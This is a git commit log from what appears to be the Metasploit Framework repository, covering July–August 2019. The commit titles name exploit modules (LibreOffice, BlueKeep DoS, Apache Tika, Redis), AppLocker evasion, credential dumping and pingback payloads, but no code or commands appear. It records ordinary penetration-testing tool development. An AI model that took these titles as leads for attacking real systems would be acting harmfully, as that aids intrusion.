Load 6483b97c13 Merge pull request #1 from space-r7/pr12207-changes
Use Python instead of platform-dependent code
2019-08-18 14:38:26 +02:00
Shelby Pace 409b3c9c4b using python payload for platform independence 2019-08-16 15:36:42 -05:00
Load 3838fc2164 Adds references to the next CVE
This new CVE explains this exploit (global events are used)
2019-08-16 12:59:23 +02:00
Load 7e44194251 References next CVE with global events 2019-08-16 12:54:01 +02:00
Metasploit 015651dd08 automatic module_metadata_base.json update 2019-08-15 17:08:06 -07:00
William Vu b8b4edc243 Land #12203, autofilter=false for a couple modules 2019-08-15 19:00:15 -05:00
Metasploit 8ad7fbf5f9 automatic module_metadata_base.json update 2019-08-15 16:54:23 -07:00
Brent Cook d5115295af Land #12205, prefer https always 2019-08-15 18:42:14 -05:00
William Vu fb6d5d603d Update generate splat from http:// to https:// 2019-08-15 18:11:39 -05:00
William Vu 32334c2386 Update all module splats from http:// to https:// 2019-08-15 18:10:44 -05:00
Brent Cook 4d48515ae2 Disable a couple of modules for autoexploitation that produce false positives on newer systems. 2019-08-15 16:33:40 -05:00
Metasploit adcc69a1ac Bump version of framework to 5.0.42 2019-08-15 10:08:04 -07:00
Metasploit fb4d2521ef automatic module_metadata_base.json update 2019-08-15 08:37:42 -07:00
William Vu 76f526df99 Land #12202, needs_cleanup for post modules 2019-08-15 10:29:31 -05:00
Brent Cook 3437ba758b Land #12199, fix invalid range backtrace when RHOSTS is invalid 2019-08-15 07:28:57 -05:00
bwatters-r7 1701dae701 Add needs_cleanup to the post module class so filedropper does not
crash everything trying to set that variable.
2019-08-15 07:27:28 -05:00
Brent Cook ceb09ddf44 Land #12198, fix training wheels for 'generate' command 2019-08-15 07:22:29 -05:00
William Vu 3aad5accac Fix nil RangeWalker length for invalid range
reset returns false and doesn't initialize length.
2019-08-14 21:40:58 -05:00
William Vu 141350dbc1 Update help 2019-08-14 21:28:13 -05:00
William Vu 25a66a245f Prefer import_options_from_s over manual parsing 2019-08-14 21:08:00 -05:00
William Vu e20d9e8c4f Fix another typo 2019-08-14 21:04:06 -05:00
William Vu f81a326ac1 Fix typo 2019-08-14 20:43:40 -05:00
William Vu a53fe44d8e Properly parse option string anyway with -o 2019-08-14 20:32:53 -05:00
William Vu 45747c45f7 Remove extraneous -s NOP sled option 2019-08-14 20:32:31 -05:00
William Vu e3463d0cd8 Prefer Rex::Text.dehex over Rex::Text.hex_to_raw 2019-08-14 20:32:30 -05:00
Shelby Pace 70d5bd4eb3 add default payload, check login 2019-08-13 13:39:15 -05:00
Shelby Pace 286263c094 add quotes, platform 2019-08-13 11:18:31 -05:00
Shelby Pace 48333c5d4e randomize parameter value 2019-08-13 11:14:10 -05:00
William Vu d676f98d56 Remove already included Msf::Exploit::Remote::Tcp 2019-08-13 10:56:03 -05:00
Adam Cammack dbe856297a Land #12188, fix module authors script's full_name 2019-08-13 10:19:03 -05:00
Shelby Pace da98d3d376 finish documentation and module 2019-08-13 09:47:24 -05:00
James Lee 760f4fc25d Fix typo, full_name -> fullname 2019-08-12 19:30:43 -05:00
Shelby Pace 71f4eadd18 module rework and some documentation 2019-08-12 15:22:22 -05:00
Jacob Robles e1e1cd9020 Land #12161, Store opasswd password history 2019-08-12 09:22:50 -05:00
Spencer McIntyre 63dfa2a8bd Fix the RDP NLA protocol detection 2019-08-11 19:23:29 -07:00
Spencer McIntyre 84669f567b Add the RDP fingerprinting method to rdp_scanner 2019-08-11 16:20:14 -07:00
Spencer McIntyre e8057b0b55 Add an initial fingerprinting method for rdp 2019-08-11 01:24:55 -07:00
h00die a2160c84c6 juniper config parser tests 2019-08-10 09:39:26 -04:00
NickTyrer a5bbd7d1f5 update documentation 2019-08-10 09:03:04 +01:00
Brendan Coles 47cfcba53a Add documentation 2019-08-10 07:08:01 +00:00
Brendan Coles 9fdee466ca Update ptrace_sudo_token_priv_esc 2019-08-10 07:03:23 +00:00
Shelby Pace 76da9ea4fc get shell with test data 2019-08-09 08:40:41 -05:00
Steve Embling 46005eb933 Updated References 2019-08-09 14:08:47 +01:00
NickTyrer 4747049440 add documentation 2019-08-09 08:47:26 +01:00
NickTyrer baea8d1f5f add documentation 2019-08-08 21:14:02 +01:00
NickTyrer 373e409184 add module applocker_evasion_workflow_compiler 2019-08-08 18:48:10 +01:00
NickTyrer 320642e3c0 add module applocker_evasion_regasm_regsvcs 2019-08-08 18:36:36 +01:00
Metasploit 78e5536064 Bump version of framework to 5.0.41 2019-08-08 10:05:14 -07:00
Shelby Pace 9418f4bac2 Land #12032, add Xymon gather info module 2019-08-08 10:55:40 -05:00
William Vu f317987e02 Land #12175, hadoop_unauth_exec NoMethodError fix 2019-08-07 22:44:55 -05:00
William Vu b5fd9b4fed Fix whitespace 2019-08-07 22:44:38 -05:00
Green-m 6cf0ff0678 Fix #12156, NoMethodError in hadoop exploit. 2019-08-08 10:06:40 +08:00
Brent Cook 3ea79c4ccb Land #12170, add 'Crash' action to Bluekeep scanner to send DoS payload 2019-08-07 19:40:24 -05:00
Tom Sellers 46b6a5927e Comment update 2019-08-07 19:25:43 -05:00
Tom Sellers 4861a139ca Minor comments 2019-08-07 19:20:36 -05:00
Tom Sellers 9566334868 merge upstream/master 2019-08-07 19:11:58 -05:00
William Vu de68af975b Land #12171, Msf::Exploit::Remote::RDP mixin 2019-08-07 17:03:14 -05:00
Tom Sellers 93e6ff67b4 Addressing feedback 2019-08-07 16:37:59 -05:00
Tom Sellers 2d5e9cb241 RDP: address feedback from wvu 2019-08-07 14:47:33 -05:00
Brent Cook 18da91a348 Add 'Crash' action for enabling the DoS 2019-08-07 11:38:14 -05:00
Tom Sellers f78c6469b8 RDP: rubocop cleanup lib 2019-08-07 10:28:24 -05:00
Tom Sellers de8cd38eb2 RDP: rubocop cleanup packets 2019-08-07 10:00:18 -05:00
Tom Sellers 7d30c92375 RDP: rubocop cleanup 2019-08-07 09:12:53 -05:00
Tom Sellers b6956bd3be RDP: moar migration 2019-08-07 08:50:01 -05:00
Tom Sellers 0c1868b158 RDP: migrate security nego to lib 2019-08-07 08:27:15 -05:00
Tom Sellers 7dc87bf8bc RDP: Refactor protocol code 2019-08-07 07:25:42 -05:00
Tom Sellers a63e0ba106 BlueKeep: Add DoS exploit 2019-08-06 20:15:53 -05:00
James Lee 3b7abfcaf2 Use correct case for SSL option 2019-08-06 15:25:34 -05:00
Tim W 979681443c add rudimentary check method 2019-08-06 14:48:37 +08:00
Tim W b35b4674d0 fix forking behaviour 2019-08-06 14:17:28 +08:00
Tim W 0c4fc639fa update with bcoles poc.c 2019-08-06 13:55:01 +08:00
Tim W f48d1b1231 add more links 2019-08-06 13:54:15 +08:00
Brendan Coles efd6bec827 Store opasswd password history 2019-08-04 01:12:06 +00:00
NickTyrer 61a1abab79 update csproj arch targeting 2019-08-03 10:41:13 +01:00
LoadLow 2432104a8d Update libreoffice_logo_exec.md 2019-08-03 06:24:04 +02:00
LoadLow 41822c0c1e Update libreoffice_logo_exec.md 2019-08-03 06:15:19 +02:00
LoadLow c3b6e33f2e Adds suggested modifications 2019-08-03 06:10:11 +02:00
Load ee6c4a906a Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:40 +02:00
Load dbced012ef Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:29 +02:00
Load ce552ab88b Removes double quotes in libreoffice_logo_exec
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:52:12 +02:00
Load 5e2463c5d4 Update libreoffice_logo_exec documentation
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:51:50 +02:00
Load 009e2afcfa Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:51:30 +02:00
Pedro Ribeiro eab38b8b21 make requested changes 2019-08-02 22:49:43 +01:00
Pedro Ribeiro 817726699c make requested changes 2019-08-02 22:48:54 +01:00
William Vu cbe4771d29 Land #12159, EXITFUNC for pingback 2019-08-02 16:07:02 -05:00
bwatters-r7 c9d2013ddb Change generate method to match single payloads. 2019-08-02 15:47:36 -05:00
William Vu 6572fa93c4 Land #12158, needs_cleanup for on_new_session 2019-08-02 14:56:47 -05:00
William Vu d9d48ffa91 Land #12152, EOFError fix for BlueKeep scanner 2019-08-02 11:23:22 -05:00
Adam Cammack e11de696d4 Make msftidy happy 2019-08-02 11:17:41 -05:00
bwatters-r7 20438614bb Stupid extra line.... 2019-08-02 11:11:19 -05:00
bwatters-r7 c6defb0264 Rubocop complaints and require_size additions 2019-08-02 11:09:14 -05:00
NickTyrer f675a974a6 implement changes suggested by @cbrnrd 2019-08-02 16:29:08 +01:00
bwatters-r7 14ee5c4a4f Update Windows payloads to support exitfunk 2019-08-02 10:28:57 -05:00
Adam Cammack cf9b94a964 Set needs_cleanup flag for exploits that need it
The `needs_cleanup` flag needs to be set per-module when an exploit
needs an interactive session to clean up. Some `FileDropper` exploits
need additional cleanup to what the mixin provides, but since all
`FileDropper`s already mark themselves as needing cleanup those are not
covered here. A few of these could potentially be refactored to use the
original exploitation method to clean up or to compile the list of
files/commands to clean up ahead of time, but that is out of the scope
of this fix.
2019-08-02 10:23:53 -05:00
Adam Cammack 5e64f8560a Fix whitespace 2019-08-02 10:23:41 -05:00
Quentin Kaiser 8085ad3046 Set default payload based on chosen target. 2019-08-02 10:47:28 +02:00
Quentin Kaiser 610bed8fd9 && is preferred over and. 2019-08-02 10:41:14 +02:00
Jacob Robles c4c0ed9187 Land #12155, Fix printed CVE number 2019-08-01 18:01:53 -05:00
Jacob Robles bbf0cb4d9d Land #11653, Apache Tika CVE-2018-1335 RCE 2019-08-01 17:43:57 -05:00
Metasploit 0e5a1278d4 Bump version of framework to 5.0.40 2019-08-01 14:56:07 -07:00
William Vu 178339db70 Rescue EOFError in quick check for patch
Thank you to @cnotin for noticing this case.
2019-08-01 15:03:36 -05:00
NickTyrer af5e071abe update documentation 2019-08-01 20:46:09 +01:00
Jacob Robles ed0c064a24 Fix printed CVE number 2019-08-01 09:57:48 -05:00
NickTyrer 107bb3e9ff add documentation 2019-08-01 09:06:35 +01:00
NickTyrer c8050adab2 add module applocker_evasion_presentationhost 2019-08-01 08:40:30 +01:00
William Vu 8d2b29024a Fix typo 2019-07-31 17:44:10 -05:00
Wei Chen abc85e4266 Land #12130, Add evasion module applocker_evasion_msbuild 2019-07-31 16:32:29 -05:00
Wei Chen 3a4ec6fe82 Cosmetic changes 2019-07-31 16:31:44 -05:00
Shelby Pace bc3f87a950 add login and device id code 2019-07-31 16:31:22 -05:00
William Vu ae13736d50 Rescue EOFError in cve_2019_0708_bluekeep get_once 2019-07-31 16:01:20 -05:00
Jeffrey Martin 2e06b4e93f Land #12126, Implement "set PAYLOAD" by index 2019-07-31 14:50:20 -05:00
Jeffrey Martin a3245f5ac9 Land #12150, Accidentally removed include that is sort of imperative.... 2019-07-31 09:09:53 -05:00
bwatters-r7 36ae16df74 Accidentally removed include that is sort of imperative.... 2019-07-31 08:46:01 -05:00
LoadLow 8e8e6a2cf7 Fixes indent 2019-07-31 00:14:08 +02:00
Brent Cook 6bd7f6cb4a Land #12148, lock bcrypt to arm compatibe version 2019-07-30 17:07:34 -05:00
LoadLow 88f3ff9d59 Updates references 2019-07-31 00:00:30 +02:00
Jeffrey Martin e6c025811b Lock bcrypt gem until armhf support is restored.
Updates in 3.1.13 can cause native gem compile to fail due to
https://github.com/codahale/bcrypt-ruby/issues/201.
2019-07-30 16:47:26 -05:00
LoadLow 97589e534e Updates documentation for libreoffice_logo_exec 2019-07-30 23:37:06 +02:00
LoadLow b2dcaf6c4a Adds documentation for libreoffice_logo_exec 2019-07-30 23:34:54 +02:00
LoadLow 5f478b7fd6 Adds exploit module for CVE-2019-9848
uses on dom-loaded event (triggered just after opening the document) and still working on 6.2.5
2019-07-30 23:07:20 +02:00
h00die 060183c034 tika 1.15-1.17 2019-07-30 16:55:06 -04:00
bwatters-r7 fb7f30e60d Land #12129, Add Pingback Payloads
Merge branch 'land-12129' into upstream-master
2019-07-30 12:06:57 -05:00
Adam Cammack 517d32b082 Update payload cache sizes 2019-07-30 10:34:47 -05:00
Adam Cammack 23ea772076 Golf Ruby pingback payload syntax 2019-07-30 10:32:31 -05:00
Adam Cammack e6ea0c9fd7 Use binascii for Python pingback UUID encoding
This gives us compatibility for Python 3.x and 1.x
2019-07-30 10:18:24 -05:00
Adam Cammack 3cb1b4588b Golf Python payload variable names 2019-07-30 10:14:41 -05:00
h00die f053768801 restrict tika versions 2019-07-30 07:32:30 -04:00
bwatters-r7 79e17d0dda Remove unsupported options 2019-07-29 21:38:20 -05:00
bwatters-r7 05ffa6e4a0 More updates, optimizations, and style fixes 2019-07-29 16:29:32 -05:00
NickTyrer 4f7e9bd47c update file creation 2019-07-29 20:29:11 +01:00
bwatters-r7 d6dc397b21 Fix bugs introduced by syntax changes. 2019-07-29 14:00:09 -05:00
bwatters-r7 6bf10e1f91 Fixups for syntax 2019-07-29 11:55:51 -05:00
h00die 8f95ccc83d Land #12135 move docs to right locations 2019-07-29 12:15:31 -04:00
h00die 4ad1eaebd9 docs touchup 2019-07-29 12:09:47 -04:00
Shelby Pace 1faa1786c6 add test request 2019-07-29 10:28:07 -05:00
Metasploit bd2a1812a6 automatic module_metadata_base.json update 2019-07-28 21:21:14 -07:00
Brent Cook 5b8a75f544 Land #12119, Add OS X post module to manage Sonic Pi 2019-07-28 23:12:26 -05:00
Metasploit d08a1d1ac0 automatic module_metadata_base.json update 2019-07-28 20:09:16 -07:00
sinn3r fe664da890 Land #12131, Cast to_s in command_shell.rb
Cast to_s - Fix #11725
2019-07-28 21:56:25 -05:00
Wei Chen 2f4da50912 Land #12132, Catch EOFError in alphastor_devicemanager_exec.rb
Fix #12061
2019-07-28 21:54:38 -05:00
Wei Chen 537e12a5ac Land #12134, Fix typo in payload_inject 2019-07-28 21:52:09 -05:00
Wei Chen 2f720a1f26 Land #12137, Update setting new .exe of Sophos AV 2019-07-28 21:49:31 -05:00
Wei Chen 86b0b7b0e9 Land #12140, correct output printing bug from smb_enumshares 2019-07-28 21:46:58 -05:00
Wei Chen c47caec03f Land #12107, Add module Redis Unauthenticated Code Execution 2019-07-28 21:40:03 -05:00
Wei Chen 63de0051f4 Cosmetic changes 2019-07-28 21:38:54 -05:00
ines 4856e0f87d remove call for to_ascii on share_type 2019-07-28 10:19:58 +02:00
GabrielMioranza 4d6f16eac1 Update setting new .exe of Sophos AV
Add .exe used by Sophos AV Endpoint
2019-07-27 16:47:05 -03:00
caleBot e9e57895cd Update enum_nagios_xi.md
Added description
2019-07-27 11:33:51 -06:00
breeh c48a43a771 Adding post module for dumping credentials out of NagiosXI 2019-07-27 11:22:58 -06:00
PingouinRF 5b78788fff Moved documentation files mssql_sql.md and mssql_idf.md from documentation/modules/auxiliary/scanner/mssql/ to /documentation/modules/auxiliary/admin/mssql/ to match which the module's directory 2019-07-27 19:05:17 +02:00
PingouinRF 1d67217b3d renamed auxiliary/scanner/misc/java_jmx_scanner.md to java_jmx_server.md to match with the module's name 2019-07-27 19:03:32 +02:00
Francesco Soncina b6b3a54b79 fix typo in payload_inject
:)
2019-07-27 19:02:33 +02:00
Quentin Kaiser 2e79314d7b Updated documentation. 2019-07-27 11:09:34 +02:00
Quentin Kaiser 34c5277e4e Deprecate module. 2019-07-27 10:49:59 +02:00
Quentin Kaiser 413da527ab Module renaming. 2019-07-27 10:47:58 +02:00
Quentin Kaiser 18f7ae379b Add support for RV110W and RV215W + check method to fingerprint devices. 2019-07-27 10:45:31 +02:00
NickTyrer 9279b5a40a add documentation 2019-07-27 07:36:38 +01:00
Brendan Coles d2bcab4346 Catch EOFError - Fix #12061 2019-07-26 23:53:46 +00:00
Brendan Coles c3b7d0155a Cast to_s - Fix #11725 2019-07-26 23:48:37 +00:00
Adam Cammack bd6a0c872f Remove workspace reqs from remote db payloads
The requirements had already been removed from local payloads in
865f214a85
2019-07-26 17:55:57 -05:00
William Vu e6e3ec493b Rename play_pattern_timed durations to beats
This is so I don't forget they're beats, not seconds. Also, "times"
already has special meaning in Ruby, so let's not confuse ourselves
further.
2019-07-26 17:41:24 -05:00
William Vu 42c2d78731 Remove fluff for better effect 2019-07-26 17:18:39 -05:00
bwatters-r7 cec29c6473 More fixes for syntax 2019-07-26 14:51:44 -05:00
NickTyrer 29627495e1 update format 2019-07-26 20:45:08 +01:00
NickTyrer a329e36918 add evasion module applocker_evasion_msbuild 2019-07-26 20:16:29 +01:00
William Vu 61e9f2b5bf Fix rhythm of melody section
Thanks for your ears, @busterb!
2019-07-26 14:09:57 -05:00
bwatters-r7 79b7bbd2cf Update payload cache size and fix import bug 2019-07-26 13:52:36 -05:00
bwatters-r7 2f804faed9 Rubocop and @acammack cleanup suggestions 2019-07-26 12:36:59 -05:00
asoto-r7 99d6842915 Land #12124, Add HttpRawHeaders (file) advanced option to HttpClient 2019-07-26 11:37:10 -05:00
Brent Cook 463c147977 fix method check in metadata updates 2019-07-25 23:23:20 -05:00
bwatters-r7 93f8d94154 Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 19:45:10 -05:00
bwatters-r7 e710c93363 Remove async callback stuff for later work and change db checks 2019-07-25 19:45:10 -05:00
bwatters-r7 4a59c1be26 Other pry... 2019-07-25 19:45:10 -05:00
bwatters-r7 cd4ba1318a Unpry 2019-07-25 19:45:10 -05:00
bwatters-r7 8af6cad862 fix copy/pasta error on payload data read 2019-07-25 19:45:10 -05:00
bwatters-r7 9ed8aa9411 update the read/write for pingback data 2019-07-25 19:45:10 -05:00
bwatters-r7 7a8090c3e7 Fix variable name 2019-07-25 19:45:10 -05:00
bwatters-r7 3536e8a0a9 Remove extra assignments elsewhere 2019-07-25 19:45:10 -05:00
bwatters-r7 68f7ece9a1 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-25 19:45:10 -05:00
asoto-r7 af285340ea Copy-pasta badness 2019-07-25 19:45:10 -05:00
asoto-r7 b0d602e0df Added autoload entries for AsyncCallback 2019-07-25 19:45:10 -05:00
bwatters-r7 2aadd6317b Fix printing in session handler while I'm at it... 2019-07-25 19:45:10 -05:00
bwatters-r7 e1ba4bd7ed delete extra file 2019-07-25 19:45:10 -05:00
bwatters-r7 7c2d214af2 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-25 19:45:05 -05:00
bwatters-r7 6ae3f97c4a Maybe include the super pingback type in the payloads? 2019-07-25 19:44:11 -05:00
bwatters-r7 310533f96c First stab at filtering payloads that require cleanup 2019-07-25 19:44:09 -05:00
bwatters-r7 80dbef20f2 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-25 19:43:14 -05:00
asoto-r7 14039b18b1 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-07-25 19:43:14 -05:00
asoto-r7 26257fabef Updated json_to_mdm_object() calls, removing third parameter 2019-07-25 19:43:14 -05:00
asoto-r7 72977e6ff9 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-07-25 19:43:14 -05:00
asoto-r7 9b6d4587a4 cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-07-25 19:43:14 -05:00
asoto-r7 88213f1e6f Pingback: Addressed some comments and suggestions 2019-07-25 19:43:14 -05:00
bwatters-r7 f098a836e9 Stupid pry... 2019-07-25 19:43:14 -05:00
bwatters-r7 949b356f09 Update the session to die after callback
Remove stale old file
2019-07-25 19:43:14 -05:00
asoto-r7 a12f9a5e4c Revert f162822 2019-07-25 19:43:14 -05:00
bwatters-r7 398a5dcce1 Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-07-25 19:43:14 -05:00
asoto-r7 53447462bd Remove a left-over 'pry' debugger invocation 2019-07-25 19:43:14 -05:00
bwatters-r7 374b56de89 Should not have changed reverse_tcp.rb 2019-07-25 19:43:14 -05:00
asoto-r7 8f0aaa70a6 cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-07-25 19:43:13 -05:00
asoto-r7 7778ada271 Remove workspace reference in async_callback database table 2019-07-25 19:43:13 -05:00
bwatters-r7 33513bd947 Undo changes to windows/bind_tcp 2019-07-25 19:43:13 -05:00
bwatters-r7 39f193e649 Stupid last trailing space 2019-07-25 19:43:13 -05:00
bwatters-r7 3e765090e2 Fix some spacing 2019-07-25 19:43:13 -05:00
bwatters-r7 08a765df81 Shut up, nmsftidy.... I hope 2019-07-25 19:42:51 -05:00
bwatters-r7 f7f7e969ee Hold off on venom changes for a new PR 2019-07-25 19:42:51 -05:00
bwatters-r7 2a242d9b19 Add the new file 2019-07-25 19:42:51 -05:00
bwatters-r7 e1e75d87e9 Code deduplication 2019-07-25 19:42:51 -05:00
asoto-r7 cb270cd57a WIP: Adding default pingback payload to parent check method 2019-07-25 19:42:50 -05:00
asoto-r7 92fa8f4377 Clean up requires and includes 2019-07-25 19:42:50 -05:00
asoto-r7 79c45a6c52 Clean up require's and calculate CachedSize 2019-07-25 19:42:50 -05:00
asoto-r7 58f3a067ab cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-07-25 19:42:50 -05:00
bwatters-r7 9989c731d0 That's better..... 2019-07-25 19:42:50 -05:00
bwatters-r7 c866e0aff6 First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-07-25 19:42:50 -05:00
bwatters-r7 e51e271c92 Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-07-25 19:42:50 -05:00
asoto-r7 be011da9f9 Ruby pingback payload (bind and reverse) 2019-07-25 19:42:50 -05:00
asoto-r7 4241d3384c Python pingback payload (reverse only) 2019-07-25 19:42:50 -05:00
asoto-r7 1d45c3a176 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-07-25 19:42:50 -05:00
asoto-r7 89913924f6 Remove 'workspace' option from Mdm::Payload.create 2019-07-25 19:42:50 -05:00
asoto-r7 94c6ee3f7b Python pingback payload (bind only) 2019-07-25 19:42:26 -05:00
asoto-r7 247f246475 Linux pingback payloads 2019-07-25 19:42:26 -05:00
Aaron Soto f4fa70da0a Add error handling for users without a database configured 2019-07-25 19:42:26 -05:00
Aaron Soto 8c6f2d974b Enable database support in msfvenom to allow for saving UUIDs 2019-07-25 19:42:26 -05:00
Aaron Soto 6d6b33968f Record UUID upon pingback_reverse_tcp generation and callback 2019-07-25 19:42:26 -05:00
Aaron Soto 3b54fb30dd Record UUID upon reverse_tcp_pingback generation and callback 2019-07-25 19:42:26 -05:00
bwatters-r7 1b64b9f984 Fix odd edge case converting binary to hex string 2019-07-25 19:42:26 -05:00
bwatters-r7 5202a85cd8 Use nonvolitile register for the counter
Change option name to match convention
2019-07-25 19:42:26 -05:00
bwatters-r7 d626e5641d Updated to have a handler 2019-07-25 19:42:26 -05:00
bwatters-r7 9805a14875 Add support for pingback as a single and session... 2019-07-25 19:42:26 -05:00
bwatters-r7 cc69fa286f Let's try it as a single this time.... 2019-07-25 19:42:26 -05:00
bwatters-r7 4ca6c35053 Add new files 2019-07-25 19:42:26 -05:00
bwatters-r7 e798a0dcf0 Add pingback changes 2019-07-25 19:42:25 -05:00
bwatters-r7 f0f45d9882 Maybe stage the new files, too 2019-07-25 19:42:25 -05:00
Aaron Soto 542bf00771 REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-07-25 19:42:25 -05:00
Aaron Soto 67d3bf5e01 WIP: REST API for async-callbacks, added UUID search 2019-07-25 19:42:25 -05:00
Aaron Soto 353e8e6be9 WIP: Remove PUT and DELETE endpoints 2019-07-25 19:42:25 -05:00
Aaron Soto a1b51361b0 Bring pingback-payload changes into public framework 2019-07-25 19:42:25 -05:00
Aaron Soto 47ee86ac11 WIP: REST API for async-callbacks 2019-07-25 19:42:25 -05:00
Jeffrey Martin 5134dbd94e Land #12127, Revert pingback 2019-07-25 17:14:21 -05:00
Brent Cook 109c0d0a9b Revert "automatic module_metadata_base.json update"
This reverts commit 5a5f3a88b7.

undelete module metadata as well
2019-07-25 16:54:41 -05:00
Brent Cook 38b98dc6f7 Revert "Land #11903, initial implementation of "pingback" payloads"
This reverts commit 3bd3dfc86e, reversing
changes made to d7bc50fb25.

There is an issue with module cache builds when this is present that needs to be addressed.
2019-07-25 16:44:09 -05:00
Metasploit 5a5f3a88b7 automatic module_metadata_base.json update 2019-07-25 14:14:25 -07:00
William Vu 0d041df91f Actually test command shell support and fix it 2019-07-25 15:09:35 -05:00
William Vu da188502e4 Update method name for indexing from a list
Module-specific code was moved back into modules.rb and core.rb.
2019-07-25 14:26:42 -05:00
PingouinRF 65c9568623 Merge pull request #1 from rapid7/master
Updating from upstream
2019-07-25 20:45:30 +02:00
Brent Cook 3bd3dfc86e Land #11903, initial implementation of "pingback" payloads 2019-07-25 12:17:04 -05:00
Metasploit d7bc50fb25 Bump version of framework to 5.0.39 2019-07-25 10:05:33 -07:00
bwatters-r7 0537ea1f6c Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 11:02:48 -05:00
Metasploit 4bbf5768c8 automatic module_metadata_base.json update 2019-07-25 07:30:09 -07:00
Wei Chen f09cfade62 Land #11205, Add support for Linux and pubprn.vbs to web_delivery 2019-07-25 09:15:40 -05:00
bwatters-r7 709a9c2156 Remove async callback stuff for later work and change db checks 2019-07-25 09:08:22 -05:00
William Vu a22ad9ad42 Templatize HttpRawHeaders with ERB 2019-07-24 21:23:22 -05:00
William Vu 40b040b3e6 Cache "show payloads" and set PAYLOAD by index 2019-07-24 20:15:12 -05:00
William Vu 29d6c270d4 Fix setting PAYLOAD clearing target DefaultOptions 2019-07-24 17:38:14 -05:00
bwatters-r7 2f9e638b01 Other pry... 2019-07-24 17:15:20 -05:00
bwatters-r7 01b200bafa Unpry 2019-07-24 16:58:44 -05:00
bwatters-r7 bb1981462c fix copy/pasta error on payload data read 2019-07-24 16:06:52 -05:00
bwatters-r7 a84fb40a4b update the read/write for pingback data 2019-07-24 15:36:33 -05:00
William Vu 1ba0d1ee5b Once more, with feeling 2019-07-24 14:59:12 -05:00
William Vu 7730b510c1 Update HttpHeaders to HttpRawHeaders to match desc 2019-07-24 14:52:56 -05:00
William Vu 800737690a Add HttpHeaders file advanced option to HttpClient 2019-07-24 13:15:44 -05:00
Metasploit 4ca7808ed9 automatic module_metadata_base.json update 2019-07-23 11:38:46 -07:00
Wei Chen 8f8e32b246 Land #11795, Add evasion module applocker_evasion_install_util 2019-07-23 13:30:33 -05:00
Wei Chen 261759da11 Cosmetic changes 2019-07-23 13:28:15 -05:00
Metasploit 9f37381500 automatic module_metadata_base.json update 2019-07-23 10:29:47 -07:00
Wei Chen 967b2a018f Land #12010, Add exploit module for wp-database-backup Wordpress plugin 2019-07-23 12:21:23 -05:00
Wei Chen ca664512ce Minor corrections in check and a unsed return value 2019-07-23 12:20:14 -05:00
Metasploit adeef68617 automatic module_metadata_base.json update 2019-07-23 09:04:22 -07:00
Wei Chen 6dfcaedf02 Land #12116, cisco docs and bug fixes 2019-07-23 10:49:25 -05:00
William Vu 6448775d52 Land #12121, rex-text update to 0.2.22 for XOR 2019-07-23 10:17:08 -05:00
William Vu 0decb34f28 Bump rex-text gem to 0.2.22 for XOR enhancements 2019-07-23 02:35:11 -05:00
Metasploit f689b457ac automatic module_metadata_base.json update 2019-07-23 00:24:14 -07:00
William Vu 65bdd53962 Land #12033, xor_context hostname-keyed encoder 2019-07-23 02:14:03 -05:00
William Vu a952fc303b Fix play_pattern_timed 2019-07-22 23:53:24 -05:00
William Vu 3bc65b0e9e Play it like a real band 2019-07-22 22:23:44 -05:00
William Vu 3eb3ab1db2 Add side effects 2019-07-22 18:56:23 -05:00
William Vu e5e283a1dc Fix another module doc 2019-07-22 18:52:54 -05:00
William Vu 5688db10a3 Add module doc 2019-07-22 18:52:44 -05:00
William Vu 283f9d2e08 Add OS X Manage Sonic Pi post module 2019-07-22 18:46:02 -05:00
Metasploit 72b40c676a automatic module_metadata_base.json update 2019-07-22 16:09:37 -07:00
asoto-r7 6b60832988 Land #12095, Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-22 18:01:32 -05:00
asoto-r7 77a17f37e7 Land #12108, Prefer Rex::Text.dehex over hex_to_raw in msfvenom 2019-07-22 17:17:43 -05:00
bwatters-r7 182700da44 Fix variable name 2019-07-22 15:14:30 -05:00
bwatters-r7 787c346af2 Remove extra assignments elsewhere 2019-07-22 15:01:33 -05:00
Metasploit 20b650ec74 automatic module_metadata_base.json update 2019-07-22 12:56:03 -07:00
William Vu dd4033be49 Land #12111, nmod fix for non-scanner aux RHOSTS
Credit to @fd0 for finding the bug in java_rmi_registry.
2019-07-22 14:40:46 -05:00
bwatters-r7 6396bccf63 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-22 13:59:57 -05:00
Shelby Pace 030ac60fce Land #12084, Add Schneider Encoder Exploit 2019-07-22 12:49:44 -05:00
Shelby Pace 0293e74190 remove extra lines 2019-07-22 12:28:47 -05:00
Shelby Pace 6a2ae1418a format xml, change headers 2019-07-22 12:24:55 -05:00
Wietsman 3b08ed88d1 #12095 added version check if vulnerable
#12095 cleaned up the code
#12095 added more output
#12095 added comments
2019-07-22 16:43:24 +02:00
h00die 0c510ca428 cisco spec w/ more usernames 2019-07-21 21:59:04 -04:00
h00die f19ddc11e8 cisco docs and bug fixes 2019-07-21 20:57:47 -04:00
Green-m 9203a0adf0 Fix typo in #11551 to solve aux rhosts issue. 2019-07-21 19:54:44 +08:00
Green-m e71b92aa60 We are not evil! 2019-07-21 09:33:18 +08:00
